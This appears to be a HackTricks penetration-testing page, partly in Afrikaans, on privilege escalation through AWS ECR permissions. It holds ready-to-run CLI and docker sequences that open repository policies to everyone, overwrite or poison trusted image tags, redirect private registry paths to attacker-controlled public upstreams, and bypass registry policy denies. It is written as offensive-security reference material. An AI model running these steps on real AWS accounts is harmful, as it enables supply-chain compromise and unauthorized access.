# AWS - ECR Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## ECR

### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`

An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images.

For more info on how to download images:

{{#ref}}
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
{{#endref}}

**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die verkeer te onderskep.

### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`

An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.

In addition, `ecr:PutImage` can be used to **overwrite an existing tag** (for example `stable` / `prod`) by uploading a different image manifest under that tag, effectively hijacking tag-based deployments.

This becomes especially impactful when downstream consumers deploy by tag and **auto-refresh** on tag changes, such as:

- **Lambda container image functions** (`PackageType=Image`) referencing `.../repo:stable`
- ECS services / Kubernetes workloads pulling `repo:prod` (without digest pinning)
- Any CI/CD that redeploys on ECR events

In those cases, a tag overwrite can lead to **remote code execution** in the consumer environment and privilege escalation to the IAM role used by that workload (for example, a Lambda execution role with `secretsmanager:GetSecretValue`).

To learn how to upload a new image/update one, check:

{{#ref}}
../../aws-services/aws-eks-enum.md
{{#endref}}

### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`

Like the previous section, but for public repositories.

### `ecr:SetRepositoryPolicy`

An attacker with this permission could **change** the **repository** **beleid** to grant himself (or even everyone) **lees/skryf toegang**.\
For example, in this example read access is given to everyone.
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
```
Inhoud van `my-policy.json`:
```json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
### `ecr-public:SetRepositoryPolicy`

Soos die vorige afdeling, maar vir openbare repositories.\
'n aanvaller kan **die repository policy wysig** van 'n ECR Public repository om ongemagtigde openbare toegang te verleen of hul voorregte te eskaleer.
```bash
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
```
**Potensiële impak**: Ongemagtigde openbare toegang tot die ECR Public repository wat enigiemand toelaat om images te push, pull of te delete.

### `ecr:PutRegistryPolicy`

'n aanvaller met hierdie toestemming kan die **registry policy** **verander** om homself, sy rekening (of selfs almal) **lees/skryf toegang** te gee.
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
```
### ecr:CreatePullThroughCacheRule

Misbruik ECR Pull Through Cache (PTC)-reëls om 'n deur die aanvaller beheerste upstream-naamruimte aan 'n vertroude private ECR-voorvoegsel te koppel. Dit laat workloads wat vanaf die private ECR pull, deursigtig aanvaller-images ontvang sonder om enige push na die private ECR te doen.

- Benodigde perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Indien 'n ECR Public upstream gebruik word: ecr-public:* om te create/push na die publieke repo.
- Getoets upstream: public.ecr.aws

Stappe (voorbeeld):

1. Berei 'n aanvaller-image voor in ECR Public
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
docker login public.ecr.aws/<public_alias>
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

2. Skep die PTC-reël in die private ECR om 'n vertroude voorvoegsel na die publieke register te koppel
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws

3. Pull die aanvaller-image via die private ECR-pad (geen push na die private ECR is uitgevoer nie)
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Potensiële impak: Voorsieningskettingkompromittering deur interne image-name onder die gekose voorvoegsel te kaap. Enige workload wat images vanaf die private ECR met daardie voorvoegsel pull, sal deur die aanvaller beheerste inhoud ontvang.

### `ecr:PutImageTagMutability`

Misbruik hierdie permissie om 'n repository met tag-immutability na mutabel te omskep en vertroude tags (bv. latest, stable, prod) met deur die aanvaller beheerste inhoud te oorskryf.

- Benodigde perms: `ecr:PutImageTagMutability` plus push-vermoëns (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
- Impak: Voorsieningskettingkompromittering deur stilweg onveranderlike tags te vervang sonder om tag-name te verander.

Stappe (voorbeeld):

<details>
<summary>Vergiftig 'n onveranderlike tag deur die mutability om te skakel</summary>
```bash
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
# Build and push initial trusted tag
printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Attempt overwrite while IMMUTABLE (should fail)
printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Flip to MUTABLE and overwrite
aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Validate consumers pulling by tag now get the poisoned image (prints V2)
docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
```
</details>


#### Globale registrasiekaping via ROOT Pull-Through Cache reël

Skep 'n Pull-Through Cache (PTC) reël wat die spesiale `ecrRepositoryPrefix=ROOT` gebruik om die wortel van die private ECR-register na 'n upstream publieke register (bv., ECR Public) te karteer. Enige pull na 'n nie-bestaande repository in die private register sal deursigtig vanaf upstream bedien word, wat supply-chain hijacking moontlik maak sonder om na private ECR te push.

- Benodigde perms: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
- Impak: Pulls na `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` slaag en skep outomaties private repos wat vanaf upstream gekom het.

> Nota: Vir `ROOT`-reëls, laat `--upstream-repository-prefix` uit. Om dit te verskaf sal 'n validasiefout veroorsaak.

<details>
<summary>Demo (us-east-1, upstream public.ecr.aws)</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule \
--region "$REGION" \
--ecr-repository-prefix ROOT \
--upstream-registry-url public.ecr.aws

# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

# Example using an official mirror path hosted in ECR Public
# (public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

# 3) Verify repo and image now exist without any push
aws ecr describe-repositories --region "$REGION" \
--query "repositories[?repositoryName==docker/library/alpine]"
aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED

# 4) Cleanup
aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true
```
</details>

### `ecr:PutAccountSetting` (Downgrade `REGISTRY_POLICY_SCOPE` to bypass registry policy denies)

Misbruik `ecr:PutAccountSetting` om die omvang van die registry‑beleid te wissel van `V2` (beleid wat op alle ECR‑aksies toegepas word) na `V1` (beleid wat slegs op `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage` toegepas word). As 'n beperkende registry policy Deny aksies soos `CreatePullThroughCacheRule` blokkeer, verwyder 'n afgradering na `V1` daardie afdwinging sodat identity‑policy Allows in werking tree.

- Benodigde perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Impact: Vermoë om ECR‑aksies uit te voer wat voorheen deur 'n registry policy Deny geblokkeer is (bv. skep PTC‑reëls) deur tydelik die scope op `V1` te stel.

Stappe (voorbeeld):

<details>
<summary>Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
```
</details>

{{#include ../../../../banners/hacktricks-training.md}}
